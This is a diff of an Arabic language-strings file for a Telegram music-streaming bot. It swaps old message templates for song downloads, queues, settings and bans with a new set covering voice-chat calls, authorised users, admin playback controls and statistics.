-ping_2 : "{0} \n يعمل بشكل جيد مع الاتصال من \n `{1}` في الثانية.\n\nالجهوزية بوت هو {2} \n واستخدم ما مجموعه {3} تخزين الخادم.\n تحميل وحدة المعالجة المركزية حوالي {4} \n مع استهلاك {5} \n الرام العميل لديه أيضًا اختبار اتصال جيد لـ `{6}` في الثانية."
-
-
-# Song
-song_1 : "يمكنك التنزيل من يوتيوب فقط في محادثة خاصة. الرجاء ارسال الامر في خاص البوت."
-song_2 : "**مثال:**\n\n/song [الاسم] or [الرابط من يوتيوب]"
-song_3 : "تم كشف الرابط. انا غير قادر على تنزيل البث المباشر. "
-song_4 : "**🔗العنوان:**- {0}\n\nاختر ما تريد تنزيله ."
-song_5 : "رابط غير صالح"
-song_6 : يتم الجلب..\n\nيرجى الانتظار .."
-song_7 : "لقد فشلت .. جرب مقطع اخر."
-song_8 : "يتم التنزيل\n\nربما يكون التنزيل بطيئا نوعا ما. الرجاء الانتظار .."
-song_9 : "فشلت في تنزيل الاغنية -DL\n\n**Reason:** {0}"
-song_10 : "فشلت في رفع الملف الى تليغرام .. اعد المحاولة."
-song_11 : "يتم الرفع\n\n ربما يكون الرفع بطيئا . الرجاء الانتظار .."
-
-# Tools - Queue
-queue_1 : "يرجى الانتظار ..."
-queue_2 : "قائمه الانتظار فارغة 🤐"
-queue_3 : "**رقم.:** [تفحص المزيد من المسارات من هنا ({0})"
-queue_4 : "⏳ اضيفت للقائمه كـ **#{0}\n\n💡العنوان:** {1}\n**⏱المدة:** {2}\n👤**طلب من :** {3}"
-queue_5 : "لا توجد سوى اغنية واحدة في في القائمه ، الرجاء تشغيل المزيد أولا "
-
-# All Streaming Lines
-stream_1 : "📡 **بدأ البث** 💡\n\n👤**طلبت من :** {0}\n🔦**معلومات اكثر: **[اضغط هنا]({1})"
-stream_2 : "📡 **بدأ البث من الرابط ** 💡\n\n👤**طلبت بواسطة:** {0}"
-stream_3 : "📡 **بدا البث** 💡\n\n**🏷العنوان:** {0}\n⌛️**المدة**: {1}\n👤**طلبت من :** {2}"
-stream_4 : "📡 **بدأ البث** 💡\n\n**🏷العنوان:** [{0}]({1})\n⌛️**المدة**: {2}\n👤**بطلب من:** {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "🗑 اغلاق "
-CLOSEMENU_BUTTON : "🗑 اغلاق القائمة"
-BACK_BUTTON : "⬅ عودة"
-UNBAN_BUTTON : "🗑 الغاء الحظر "
-
-#Lyrics
-L_B_1 : "🚀 الذهاب للخاص"
-
-# Start
-S_B_1 : "🗒 الاوامر"
-S_B_2 : "⚙️ الاعدادات"
-S_B_3 : "📨 اصنع بوتك"
-S_B_4 : "💻 سوࢪس ماغي"
-S_B_5 : "✚ اضفني لمجموعتك"
-S_B_6 : "اصنع بوتك الخاص 🌟"
-S_B_7 : "👤 المطور"
-S_B_8 : "⚙️ قائمة الاوامر."
-
-#Help
-H_B_1 : "اوامر الادمن"
-H_B_2 : "اوامر التشغيل"
-H_B_3 : "اوامر البوت"
-H_B_4 : "اوامر اضافية"
-H_B_5 : "اغلاق القائمه"
-H_B_6 : "اوامر المطورين"
-
-#PlayMode
-PM_B_1 : "تشغيل مباشر"
-PM_B_2 : "ازرار انلاين"
-PM_B_3 : "تشغيل في القناة"
-
-#Play
-P_B_1 : "🎵 تشغيل صوت"
-P_B_2 : "🎥 تشغيل فيديو"
-P_B_3 : "🏮 بدأ بث مباشر"
-P_B_4 : "🎵 قائمة تشغيلي"
-
-#Playlist
-PL_B_1 : "🚀 قائمة التشغيل"
-PL_B_2 : "✚ اضف لقائمه التشغيل"
-PL_B_3 : "✚ اوامر اضافية"
-PL_B_4 : "📡 وضع التشغيل"
-PL_B_5 : "🔄 مسح كل قائمة التشغيل"
-PL_B_6 : "↗️ مسح قائمه التشغيل"
-PL_B_7 : "❗️ نعم انا متاكد ، احذفها "
-PL_B_8 : "🔢 التوب 10"
-PL_B_9 : "🤖 تشغيل التوب 10 اغاني"
-PL_B_10 : "🏘 تشغيل توب 10 لهذا الكروب "
-PL_B_11 : "👤 تشغيل توب 10 الخاصة بي "
-
-#Settings
-ST_B_1 : "🔊 جودة الصوت"
-ST_B_2 : "🎥 جودة الفيديو"
-ST_B_3 : "🎩 المعتمدين"
-ST_B_4 : "📱 لوحة التحكم"
-ST_B_5 : "▶️ وضع التشغيل"
-ST_B_6 : "🇮🇶 اللغة "
-ST_B_7 : "🔄 الوضع النظيف"
-ST_B_8 : "{0} جودة ضعيفة "
-ST_B_9 : "{0} جودة متوسطة "
-ST_B_10 : "{0} جودة عالية "
-ST_B_11 : "{0} جودة ضعيفة "
-ST_B_12 : "{0} جودة متوسطة "
-ST_B_13 : "{0} جودة عالية "
-ST_B_14 : "✅ تفعيل"
-ST_B_15 : "❌ تعطيل "
-ST_B_16 : "👤 المشرفين"
-ST_B_17 : "👥 للجميع "
-ST_B_18 : "📋 قائمة المعتمدين"
-ST_B_19 : "🔎 وضع البحث"
-ST_B_20 : "✅ مباشر"
-ST_B_21 : "✅ زر انلاين"
-ST_B_22 : "👨⚖️ اوامر الادمن"
-ST_B_23 : "🏘 المجموعة "
-ST_B_24 : "🏷 القناة "
-ST_B_25 : "🫂 اوامر التشغيل"
-ST_B_26 : "🗑 مسح الاوامر"
-ST_B_27 : "🧑🚀 وضع الاقتراحات"
-
-#Song
-SG_B_1 : "↗️ فتح في محادثة خاصة"
-SG_B_2 : "🔊 صوت"
-SG_B_3 : "🎥 فيديو"
-
-#Stats
-SA_B_1 : "📢 توب 10 مجموعات"
-SA_B_2 : "🔢 توب 10 اغاني"
-SA_B_3 : "🧛 توب 10 مستخدمين"
-SA_B_4 : "🏷 توب 10 هنا"
-SA_B_5 : "💡 المعلومات العامة"
-SA_B_6 : "👤 حالة المستخدم"
-SA_B_7 : "🔢 توب 10 عالميا"
-SA_B_8 : "🤖 معلومات البوت"
-
-#Queue
-QU_B_1 : "📑 قائمة الانتظار"
-QU_B_2 : "شُغلت {0} من اصل {1} دقيقة"
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} المستخدم مطور مسبقًا."
-sudo_2 : "أضيف **{0}** الى مطورين البوت."
-sudo_3 : "لست جزء من مطورين البوت."
-sudo_4 : "تم حذفه من المطورين"
-sudo_5 : "⭐️ **المالكين:**\n"
-sudo_6 : "\n⭐️ **المطورين:**\n"
-sudo_7 : "لا يوجد مطورين"
-
-#Block
-block_1 : "{0} المستخدم محظور مسبقا."
-block_2 : "أضيف **{0}** للمحظورين من البوت.المستخدم الان ممنوع من استخدام اي امر في البوت تحت أي ظروف .\n\nCتفحص المستخدمين المحظورون: /blockedusers"
-block_3 : "المستخدم ليست عليه أي قيود مسبقا."
-block_4 : "تم حذف المستخدم من قائمه المحظورين. المستخدم الان حُر."
-block_5 : "لا يوجد مستخدمين محظورون"
-block_6 : "جلب المستخدمين المحظورين ... الرجاء الانتظار "
-block_7 : "**المستخدمين المحظورون:**\n\n"
-
-#Blacklist Chats
-black_1 : "**مثال:**\n/blacklistchat [ايدي المجموعة]"
-black_2 : "المجموعة بالفعل محظورة."
-black_3 : "تم حظر المجموعة ✅"
-black_4 : "**مثال:**\n/whitelistchat [ايدي المجموعة]"
-black_5 : "المجموعة ليست بالقائمه اساسا."
-black_6 : "تم ازالة المجموعة من القائمه المحظورة"
-black_7 : "**المجموعات المحظورة:**\n\n"
-black_8 : "لا توجد مجموعات محظورة"
-
-#videolimit
-vid_1 : "**مثال:**\n/set_video_limit [رقم الحد الاقصى المجموعات اللي تشغل فيديو نفس الوقت ] أو [disable]"
-vid_2 : "يرجى استخدام الأرقام الرقمية لتحديد الحد."
-vid_3 : "تم تغيير الحد الاقصى لبث الفيديو الى {0} مجموعة."
-vid_4 : "تم تعطيل الحد الاقصى ، اصبحت عامة"
-
-#maintenance
-maint_1 : "**إستعمال:**\n/maintenance [disable | enable]"
-maint_2 : "ممكن للصيانة"
-maint_3 : "وضع الصيانة معطل"
-
-#log
-log_1 : "**إستعمال:**\n/logger [enable | disable]"
-log_2 : "تمكين التسجيل"
-log_3 : "تسجيل تعطيل"
-
-#videomode
-vidmode_1 : "**الاستعمال:**\n/videomode [download|m3u8]"
-vidmode_2 : "تم تعيين وضع تشغيل الفيديو على أنه برنامج تنزيل. سيقوم البوت بتنزيل المسارات الآن."
-vidmode_3 : "تم تعيين وضع تشغيل الفيديو على m3u8. الروبوت سيتم تشغيل المسارات مباشرة الآن."
-
-#broadcast
-broad_1 : "**تتم الاذاعه في {0} مجموعة مع {1} التثبيت من قبل البوت .**"
-broad_2 : "يتم اذاعه الحساب المساعد..."
-broad_3 : "**بث المساعد:**\n\n"
-broad_4 : "الحساب المساعد {0} اذاع في {1} مجموعة\n"
-broad_5 : "**مثال**:\n/broadcast [الاذاعة] او [بالرد على الرسالة]"
-broad_6 : "الرجاء كتابة الاذاعه مع الامر."
-broad_7 : "**اذيعت الرسالة الى {0} مشترك.**"
-
-#Heroku
-heroku_1 : "Please make sure your Heroku API Key, Your App name are configured correctly in the heroku"
-heroku_2 : "You can only get logs of Heroku Apps"
-heroku_3 : "**Usage:**\n/get_var [Var Name]"
-heroku_4 : "Unable to find any such var."
-heroku_5 : ".env file not found."
-heroku_6 : "**Usage:**\n/del_var [Var Name]"
-heroku_7 : "{0} Deleted."
-heroku_8 : "**Usage:**\n/set_var [Var Name] [Var Value]"
-heroku_9 : "{0} has been updated successfully"
-heroku_10 : "{0} has been added successfully"
-heroku_11 : "Only for Heroku Apps"
-heroku_12 : "Checking Heroku Usage. Please Wait"
-heroku_13 : "Checking for available updates..."
-heroku_14 : "Git Command Error"
-heroku_15 : "Invalid Git Repsitory"
-
-#Private bot mode
-pbot_1 : "**إستعمال:**\n/authorize [معرف الدردشة]"
-pbot_2 : "**إستعمال:**\n/unauthorize [معرف الدردشة]"
-pbot_3 : "تمت إضافة الدردشة المعينة إلى القائمة المصرح بها"
-pbot_4 : "تمت إزالة الدردشة المعطاة من القائمة المصرح بها"
-pbot_5 : "الدردشة موجودة بالفعل في القائمة المصرح بها"
-pbot_6 : "لا توجد مثل هذه الدردشة في القائمة المصرح بها"
-pbot_7 : "فشل التحقق من معرف الدردشة.\n\nتأكد من أنه رقمي وصحيح. لا تستخدم اسم مستخدم الدردشة أو الروابط."
-pbot_8 : "الرجاء الانتظار .... إحضار الدردشات المصرح بها."
-pbot_9 : "**الدردشات التي تم جلبها:**\n\n"
-pbot_10 : "دردشة خاصة"
-pbot_11 : "لم يتم العثور على محادثات مصرح بها"
-pbot_12 : "وضع الروبوت الخاص معطل.\n\nلاستخدام الروبوت الخاص بك كبوت خاص ، تأكد من التعيين **PRIVATE_BOT_MODE** = **True**"
-pbot_13 : "\n**الدردشات التي لم يتم إحضارها:**\n\n"
-
-
-#Gbanned
-gban_1 : تريد تحظر روحك ؟ الحمد لله والشكر !"
-gban_2 : "يعني هسة لازم احظر نفسي ؟ ضحكك"
-gban_3 : "كل عقلك تريد تحظرة وهو مطور ?"
-gban_4 : "{0} هو بالفعل **محظور** من البوت."
-gban_5 : "**جاري اعادة ضبط المحظورين {0}**\n\nالوقت المتوقع : {1}."
-gban_6 : "**تم حظره**\n\nمحظور **{0}** من **{1}** مجموعة ."
-gban_7 : "{0} غير محظور من البوت حتى الان ."
-gban_8 : "**يتم الان {0}**\n\nالوقت المتوقع : {1}."
-gban_9 : "**تم الغاء حظره **\n\nغير محظور **{0}** في **{1}** مجموعه."
-gban_10 : "الله وكيلك فارغه ."
-gban_11 : "يرجى الانتظار قليلا.. يتم جلب القائمه"
-
-#Suggestions
-sug_0 : "❓**هل تعلم ?**\n\n✅ "
-sug_1 : "يمكنك تشغيل الاغاني بوضعين مختلفين **وضع البحث** i.e. الوضع المباشر وازرار الانلاين .\n\nغير في الاوامر من /playmode"
-sug_2 : "يمكنك تشغيل الموسيقى بوضعين **اوامر التشغيل** i.e. التحكم للادمنية فقط والتحكم لجميع الاعضاء .\n\nغير الضوع من خلال /playmode"
-sug_3 : "يمكنك تشغيل الموسيقى في **القنوات**.\n\nضع ايدي القناة /channelplay وشغل من أمر /cplay "
-sug_4 : "لا أحد يستطيع ان يتحكم في الاوامر حتى يضاف الى** قائمه المعتمدين**. \nاضف اي شخص للقائمه من خلال /auth , امسحه بـ /unauth وتفقد القائمه من خلال /authusers"
-sug_5 : "اذا تم تفعيل **وضع التنظيف**.\nسيحذف البوت رسائله بعد 5 دقائق للتاكد من بقاء محادثتك نظيفة n.\n\nتمكين أو تعطيل الوضع النظيف من/settings [__Enabled by default__]"
-sug_6 : "يمكنك أيضًا تشغيل مسارات وقوائم تشغيل ** Spotify **. \n\n ابدأ اللعب الآن /play [Spotify Link]"
-sug_7 : "يمكنك أيضًا تشغيل مسارات وقوائم تشغيل ** Apple Music **. \n\n ابدأ اللعب الآن باستخدام /play [Apple Link]"
-sug_8 : "يمكنك أيضًا تشغيل مسارات وقوائم تشغيل ** Resso Music **. \n\n ابدأ اللعب الآن باستخدام /play [Resso Link]"
-sug_9 : "يمكنك أيضًا تشغيل مسارات وقوائم تشغيل ** Sound Cloud **. \n\n ابدأ اللعب الآن /play [SoundCloud Link]"
-sug_10 : "يمكنك تشغيل ** مقاطع فيديو ** في الدردشة الصوتية عبر /vplay [Video Name] or /play -v [Video Name]"
-sug_11 : "يمكنك ضبط ** جودة الصوت ** للدردشة الصوتية على منخفضة أو متوسطة أو عالية. \n\n اضبط الجودة عبر/settings"
-sug_12 : "يمكنك ضبط ** جودة الفيديو ** للدردشة الصوتية على منخفضة أو متوسطة أو عالية. \n\n اضبط الجودة عبر /settings"
-sug_13 : "يمكنك التحقق من ** الإحصائيات ** الخاصة بك على الروبوت مثل أفضل 10 مسارات تم تشغيلها. \n\n احصل على الإحصائيات: /gstats "
-sug_14 : "يمكنك التحقق من ** إحصائيات المجموعة ** على الروبوت مثل أفضل 10 مسارات تم تشغيلها. \n\n احصل على الإحصائيات: /gstats "
-sug_15 : "يمكنك التحقق من ** الإحصائيات العالمية ** الخاصة بالبوت مثل أفضل 10 مستخدمين وأهم 10 محادثات وأهم 10 مسارات وما إلى ذلك. \ n \ n تحقق من الإحصائيات: /gstats "
-sug_16 : "يمكنك الآن كتم صوت الموسيقى قيد التشغيل في الدردشة الصوتية. \n\n أمر: /mute"
-sug_17 : "يمكنك الآن إلغاء كتم صوت وكتم صوت الموسيقى التي يتم تشغيلها في الدردشة الصوتية. \n\n الأمر: /mute and /unmute"
-sug_18 : "يمكنك البحث معنا أيضًا في كلمات الموسيقى .. \n\n الأمر: /lyrics [Music Name]"
-sug_19 : "يمكنك تنزيل الموسيقى أو الفيديو من الروبوت من خلال Youtube. \n\n الأمر: /song [اسم الموسيقى]"
-sug_20 : "يمكنك الحصول على قائمة كاملة بالأوامر التي أقبلها. \n\n الأمر: /help"
-sug_21 : "يحتوي الروبوت على خيار قائمة تشغيل على جانب الخادم. \n\n يمكنك إضافة موسيقى في قائمة التشغيل وتشغيلها جميعًا معًا عبر /play"
-sug_22 : "يمكنك الآن تبديل الموسيقى في قائمة الانتظار على الروبوت عشوائيًا.\n\n الأمر: /shuffle"
-sug_23 : "يمكنك التحقق من قائمة انتظار الموسيقى.\n\nالأمر: /queue"
-sug_24 : "يمكنك التحقق من المالك ومستخدمي sudo الذين يديرونني. \n\n الأمر: /sudolist"
-sug_25 : "يحتوي البوت على ميزة تسمى ** وضع حذف الأوامر **. يقوم بحذف الأوامر المنفذة الخاصة به تلقائيًا. \ n \ n تمكين أو تعطيل الحذف من /settings [__Enabled by default__]"
-sug_26 : "يمكنك تغيير لغة الروبوت إلى اللغات المتاحة لفهمها بسهولة.\n\nأمر: /language"
-sug_27 : "يحتوي الروبوت على ميزة تسمى ** قوة اللعب **.\n\n** قوة اللعب ** يوقف مسار التشغيل في الدردشة الصوتية ويبدأ في تشغيل المسار الذي تم البحث عنه على الفور دون إزعاج / مسح قائمة الانتظار. \ n \ n الأمر: /playforce"
-
+name : 🇦🇪 عربي
+
+
+general_1 : "» قم بالرد على رسالة المستخدم أو قم بتقديم اسم المستخدم / معرف المستخدم."
+general_2 : "» حدث خطأ ما أثناء معالجة استعلامك.\n\nاستثناء: {0}
"
+general_3 : "أنت مشرف مجهول في هذه الدردشة، عد إلى حساب المستخدم لاستخدامي."
+general_4 : "» ليس لديك الصلاحيات لإدارة مكالمات الفيديو.\n\nقم بإعادة تحميل ذاكرة التخزين المؤقت للمشرفين عبر /reload"
+general_5 : "» البوت لا يقوم ببث مكالمات الفيديو."
+
+tg_1 : "{0} مُنزِّل\n\nحجم الملف: {1}\nاكتمل: {2}\nالنسبة المئوية: {3}%\n\nالسرعة: {4}/ث\nالتقدير الزمني: {5}"
+tg_2 : "تم التنزيل بنجاح، جاري معالجة الملف...\n\nالوقت المستغرق: {0}"
+tg_3 : "فشل في تنزيل الوسائط من تليجرام، يرجى المحاولة مرة أخرى..."
+tg_4 : "» تم تنزيل العنصر بالفعل."
+tg_5 : "» تم تنزيل العنصر بالفعل أو تم الإلغاء."
+tg_6 : "» تم إلغاء التنزيل."
+tg_7 : "» تم إلغاء التنزيل بواسطة: {0}"
+tg_8 : "فشل في إيقاف التنزيل."
+tg_9 : "فشل في الحصول على مهمة التنزيل الجارية..."
+
+call_1 : "» البوت يحتاج إذن دعوة المستخدمين عبر الرابط لدعوة المساعد إلى محادثتك."
+call_2 : "تم حظر مساعد {0} في مجموعتك/قناتك.\n\nالمعرّف : {1}
\nالاسم : {2}\nاسم المستخدم : @{3}\n\nيرجى إلغاء حظر المساعد والمحاولة مرة أخرى."
+call_3 : "فشل في دعوة مساعد {0} إلى محادثتك.\n\nالسبب : {1}
"
+call_4 : "يرجى الانتظار...\n\nجاري دعوة مساعد {0} إلى محادثتك..."
+call_5 : "تم انضمام مساعد {0} بنجاح.\n\nمحاولة بدء التشغيل..."
+call_6 : "» فشل في التبديل إلى البث، يُرجى استخدام /skip لتغيير المسار مرة أخرى."
+call_7 : "» جاري تنزيل المسار التالي من قائمة الانتظار.\n\nيرجى الانتظار..."
+call_8 : "لم يتم العثور على دردشة فيديو نشطة.\n\nيرجى بدء دردشة فيديو في مجموعتك/قناتك والمحاولة مرة أخرى."
+call_9 : "المساعد بالفعل في دردشة فيديو.\n\nإذا لم يكن المساعد في دردشة فيديو، يرجى إرسال /reboot
ثم اللعب مرة أخرى."
+call_10 : "خطأ في الخادم التيليجرام\n\nالتيليجرام يواجه مشكلات داخلية، يرجى المحاولة مرة أخرى أو إعادة تشغيل دردشة الفيديو في مجموعتك/قناتك."
+
+auth_1 : "» يمكنك فقط أن تمتلك 25 مستخدمًا مُصرَّحًا في مجموعتك."
+auth_2 : "» تمت إضافة {0} إلى قائمة المستخدمين المُصرَّح بهم."
+auth_3 : "{0} موجود بالفعل في قائمة المستخدمين المُصرَّح بهم."
+auth_4 : "» تمت إزالة {0} من قائمة المستخدمين المُصرَّح بهم."
+auth_5 : "{0} غير موجود في قائمة المستخدمين المُصرَّح بهم."
+auth_6 : "» جاري استرداد قائمة المستخدمين المُصرَّح بهم..."
+auth_7 : "» قائمة المستخدمين المُصرَّح بهم في {0}:\n\n"
+auth_8 : "↬ تمت الإضافة بواسطة:"
+
+reload_1 : "» يمكنك تحديث ذاكرة التخزين المؤقت للمشرفين فقط مرة واحدة كل 3 دقائق.\n\nيرجى المحاولة بعد {0}."
+reload_2 : "» تم تحديث ذاكرة التخزين المؤقت للمشرفين بنجاح."
+reload_3 : "» فشل في تحديث ذاكرة التخزين المؤقت للمشرفين، تأكد من أن البوت مشرف في محادثتك."
+reload_4 : "» يُرجى الانتظار...\n\nإعادة تشغيل {0} لمحادثتك."
+reload_5 : "تم إعادة تشغيل {0} بنجاح لمحادثتك.\n\nابدأ اللعب مرة أخرى..."
+
+admin_1 : "هل تذكر أنك استأنفت البث؟"
+admin_2 : "➻ تم إيقاف البث مؤقتًا 🎄\n│ \n└بواسطة: {0} 🥀"
+admin_3 : "هل تذكر أنك قمت بإيقاف البث؟"
+admin_4 : "➻ تم استئناف البث 🎄\n│ \n└بواسطة: {0} 🥀"
+admin_5 : "➻ انتهى/تم إيقاف البث 🎄\n│ \n└بواسطة: {0} 🥀"
+admin_6 : "➻ تم تخطي البث 🎄\n│ \n└بواسطة: {0} 🥀\n\n» لا توجد مقاطع في قائمة الانتظار في {1}، سأغادر الدردشة الفيديوية."
+admin_7 : "خطأ أثناء تغيير البث إلى {0}."
+admin_8 : "» يرجى تعطيل التكرار الدائري عبر /loop disable
ثم حاول الانتقال مرة أخرى."
+admin_9 : "يرجى استخدام أرقام محددة للانتقال، مثل 1، 2، 4..."
+admin_10 : "مطلوب على الأقل مقطعين في قائمة الانتظار للانتقال إلى المقطع المحدد.\n\nتحقق من قائمة الانتظار عبر: /queue"
+admin_11 : "» ليس هناك مقاطع كافية في قائمة الانتظار للانتقال إلى المقطع المحدد.\n\nيرجى الانتقال بين المقاطع من 1 إلى {0}"
+admin_12 : "» فشل في الانتقال إلى المقطع المحدد.\n\nتحقق من المقاطع المتبقية في قائمة الانتظار عبر: /queue"
+admin_13 : "» يرجى إعادة تحميل ذاكرة التخزين المؤقت للمشرف عبر: /reload"
+admin_14 : "» ليس لديك صلاحيات لإدارة دردشات الفيديو.\n\nيرجى إعادة تحميل ذاكرة التخزين المؤقت للمشرف عبر: /reload"
+admin_15 : "» فشل في عملية الخلط.\n\nتحقق من قائمة الانتظار عبر: /queue"
+admin_16 : "» تم خلط قائمة الانتظار بواسطة {0}.\n\nتحقق من قائمة الانتظار المختلطة عبر: /queue"
+admin_17 : "مثال:\n\n/loop enable
/disable
\n/loop 10
/9
/8
/7
"
+admin_18 : "» تم تمكين الحلقة لعدد {0}
مرات بواسطة: {1}."
+admin_19 : "» تم تعطيل تشغيل الحلقة بواسطة: {0}."
+admin_20 : "مثال:\n\n/seek or /seekback [المدة بالثواني]"
+admin_21 : "» يرجى استخدام أرقام رقمية لعملية البحث بالثواني."
+admin_22 : "» لا يمكن تغيير مكان بث الفيديو المباشر."
+admin_23 : "» حاول التحكم في البحث بمدة أقل.\n\nتم تشغيل {0} من أصل {1} دقيقة."
+admin_24 : "جارِ البحث...\n\nيرجى الانتظار..."
+admin_25 : "» تم تغيير مكان البث بنجاح.\n\nالمدة: {0} دقيقة\nبواسطة: {1}"
+admin_26 : "فشل في تغيير المكان."
+admin_27 : "» يمكن التحكم حالياً فقط في سرعة بث اليوتيوب."
+admin_28 : "لوحة تحكم سرعة {0}\n\nانقر على الأزرار أدناه لتغيير سرعة البث الحالي في دردشة الفيديو."
+admin_29 : "» البوت يعمل بالفعل بسرعة عادية."
+admin_30 : "» يرجى الانتظار...\n\nهناك شخص آخر يحاول تغيير سرعة البث."
+admin_31 : "جارِ تغيير السرعة..."
+admin_32 : "» يتم محاولة تغيير سرعة البث الحالي...\n\nطلب بواسطة: {0}"
+admin_33 : "» فشل في تغيير سرعة البث الحالي."
+admin_34 : "» تم تغيير سرعة البث الحالي إلى {0}x\n\nطلب بواسطة: {1}"
+admin_35 : "انتهت عملية التصويت لأن المقطع الذي تم تقديم التصويت له قد انتهى."
+admin_36 : "فشل في تنفيذ هذا الإجراء لأن المقطع الذي تم تقديم التصويت له قد انتهى أو تم إيقافه."
+admin_37 : "تم الحصول بنجاح على {0}
تصويت إيجابي."
+admin_38 : "» تمت إضافة تصويت إيجابي واحد."
+admin_39 : "» تمت إزالة تصويت إيجابي واحد."
+admin_40 : "تم التصويت بإيجابية."
+
+start_1 : "{0} على قيد الحياة يا صغيري.\n\n✫ وقت التشغيل : {1}"
+start_2 : "هلا {0}، 🥀\n\n๏ هذا هو {1} !\n\n➻ بوت تشغيل موسيقى سريع وقوي على تليجرام مع ميزات رائعة.\n\nالمنصات المدعومة: يوتيوب، سبوتيفاي، ريسو، آبل ميوزيك وساوندكلاود.\n──────────────────\n๏ انقر على زر المساعدة للحصول على معلومات حول وحداتي وأوامري."
+start_3 : "هلا {0}،\nهذا {1}\n\nشكرًا لإضافتي في {2}، {3} الآن يمكنه تشغيل الأغاني في هذه الدردشة."
+start_4 : "🎄 المطلوب سوبر جروب 🎄\n\nيرجى تحويل المجموعة الخاصة بك إلى سوبر جروب ثم أضفني مرة أخرى.\n\nكيفية جعلها سوبر جروب؟\n- اجعل تاريخ الدردشة الخاصة بمجموعتك مرئيًا مرة واحدة."
+start_5 : "↝ الدردشة في القائمة السوداء ↜\n\nتم إدراج هذه الدردشة في قاعدة بيانات {0} كدردشة في القائمة السوداء.\nقدم طلبًا لمستخدم سودو لإزالة الدردشة من القائمة السوداء أو قم بزيارة دردشة الدعم."
+start_6 : "😲 معلومات المقطع 😲\n\n📌 العنوان : {0}\n\n⏳ المدة : {1} دقيقة\n👀 المشاهدات : {2}
\n⏰ نشر في : {3}\n📎 القناة : {5}\n\n🥀 البحث مدعوم من قبل {6}"
+
+queue_1 : "» جاري جلب قائمة الانتظار...\n\nيرجى الانتظار..."
+queue_2 : "» قائمة الانتظار فارغة."
+queue_3 : "» انقر هنا للتحقق من قائمة المقاطع في الانتظار : هنا"
+queue_4 : "➲ تمت إضافته إلى قائمة الانتظار في الموقع رقم #{0}\n\n‣ العنوان : {1}\n‣ المدة : {2} دقيقة\n‣ طلب بواسطة : {3}"
+queue_5 : "هناك مقطع واحد فقط في قائمة الانتظار.\n\nأضف المزيد من المقاطع للتحقق من القائمة."
+queue_6 : "🕚 المدة : مدة البث غير معروفة\n\nانقر على الزر أدناه للحصول على قائمة الانتظار بالكامل."
+queue_7 : "\nانقر على الزر أدناه للحصول على قائمة الانتظار بالكامل."
+queue_8 : "مشغل {0}\n\n🎄 يتم البث حاليًا لـ : {1}\n\n🔗 نوع البث : {2}\n🥀 طلب بواسطة : {3}\n{4}"
+
+stream_1 : "➲ بدء البث |\n\n‣ العنوان : {1}\n‣ المدة : {2} دقيقة\n‣ طلب بواسطة : {3}"
+stream_2 : "➲ بدء البث |\n\n‣ نوع البث : بث مباشر [الرابط]\n‣ طلب بواسطة : {0}"
+
+help_1 : "اختر الفئة التي ترغب في الحصول على المساعدة لها.\nاستفسر عن شكواك في دردشة الدعم\n\nيمكن استخدام جميع الأوامر مع : /
"
+help_2 : "انقر على الزر أدناه للحصول على قائمة المساعدة في رسائلك الخاصة."
+
+lang_1 : "» يُرجى اختيار اللغة التي ترغب في تعيينها كلغة افتراضية لهذه المجموعة:"
+lang_2 : "تم تغيير اللغة بنجاح."
+lang_3 : "فشل في تغيير اللغة."
+lang_4 : "أنت بالفعل على نفس اللغة."
+
+setting_1 : "لوحة إعدادات {0}\n\nمعرّف الدردشة : {1}
\nعنوان الدردشة : {2}\n\nانقر على الأزرار أدناه لتغيير الإعدادات."
+setting_2 : "» مباشر : يشغل عمليات البحث مباشرةً.\n\n» مضمن : يعيد زرًا مضمنًا للاختيار بين الفيديو والصوت."
+setting_3 : "» الجميع : يمكن لأي شخص استخدام أوامر المشرف [تخطي، إيقاف مؤقت، استئناف وما إلى ذلك] في هذه المجموعة.\n\n» المشرفون فقط : يمكن فقط للمشرفين والمستخدمين المصرح لهم استخدام أوامر المشرف."
+setting_4 : "» لم يتم العثور على مستخدمين مصرح لهم."
+setting_5 : "» مجموعة : يشغل الموسيقى في المجموعة التي تم إعطاء الأمر فيها.\n\n» قناة : يشغل الموسيقى في القناة التي تريدها. قم بتعيين معرّف القناة عبر /channelplay"
+setting_6 : "» الجميع : يمكن لأي شخص حاضر في هذه المجموعة تشغيل الموسيقى هنا.\n\n» المشرفون فقط : يمكن فقط للمشرفين تشغيل الموسيقى في هذه المجموعة."
+setting_7 : "» يرجى تعريف معرف القناة عبر /channelplay"
+setting_8 : "عند تمكين هذا الوضع، يمكن للأشخاص الذين ليس لديهم صلاحيات المشرف استخدام أوامر المشرف بعد عدد معين من التصويتات."
+setting_9 : "التصويتات الحالية المطلوبة لاستخدام أوامر المشرف هي : {0}"
+setting_10 : "تم تعطيل وضع التصويت."
+setting_11 : "أدنى عدد للتصويتات يمكن أن يكون 2. لا يمكنك تعيينه أقل من 2"
+setting_12 : "أعلى عدد للتصويتات يمكن أن يكون 15. لا يمكنك تعيينه أعلى من 15"
+
+set_cb_1 : "جارٍ الحصول على لوحة مستخدمي المصرح لهم..."
+set_cb_2 : "جارٍ الحصول على لوحة وضع التشغيل..."
+set_cb_3 : "جاري تغيير الإعدادات..."
+set_cb_4 : "» جاري الحصول على قائمة المستخدمين المصرح لهم..."
+set_cb_5 : "» الرجاء الانتظار..."
+
+gstats_1 : "جارٍ الحصول على إحصائيات ومعلومات {0}...\n\nقد يستغرق الأمر بعض الوقت، يرجى الانتظار..."
+gstats_2 : "انقر على الأزرار أدناه للتحقق من إحصائيات {0}."
+gstats_3 : "إحصائيات ومعلومات {0} :\n\nالمساعدين : {1}
\nالمحظورون : {2}
\nالدردشات : {3}
\nالمستخدمون : {4}
\nالوحدات : {5}
\nالمشرفون : {6}
\n\nمغادرة تلقائية للمساعدين : {7}\nحدود مدة التشغيل : {8} دقائق"
+gstats_4 : "هذا الزر مخصص للمشرفين فقط."
+gstats_5 : "إحصائيات ومعلومات {0} :\n\nالوحدات : {1}
\nالمنصة : {2}
\nالذاكرة (RAM) : {3}
\nالنوى الفعلية : {4}
\nإجمالي النوى : {5}
\nتردد وحدة المعالجة المركزية : {6}
\n\nبيثون : {7}
\nPyrogram : {8}
\nPy-TgCalls : {9}
\n\nالتخزين المتاح : {10} جيبايت
\nالتخزين المستخدم : {11} جيبايت
\nالتخزين المتبقي : {12} جيبايت
\n\nالدردشات المخدومة : {13}
\nالمستخدمون المخدومون : {14}
\nالمستخدمون المحظورون : {15}
\nمستخدمو sudo : {16}
\n\nحجم قاعدة البيانات الإجمالي : {17} ميجابايت
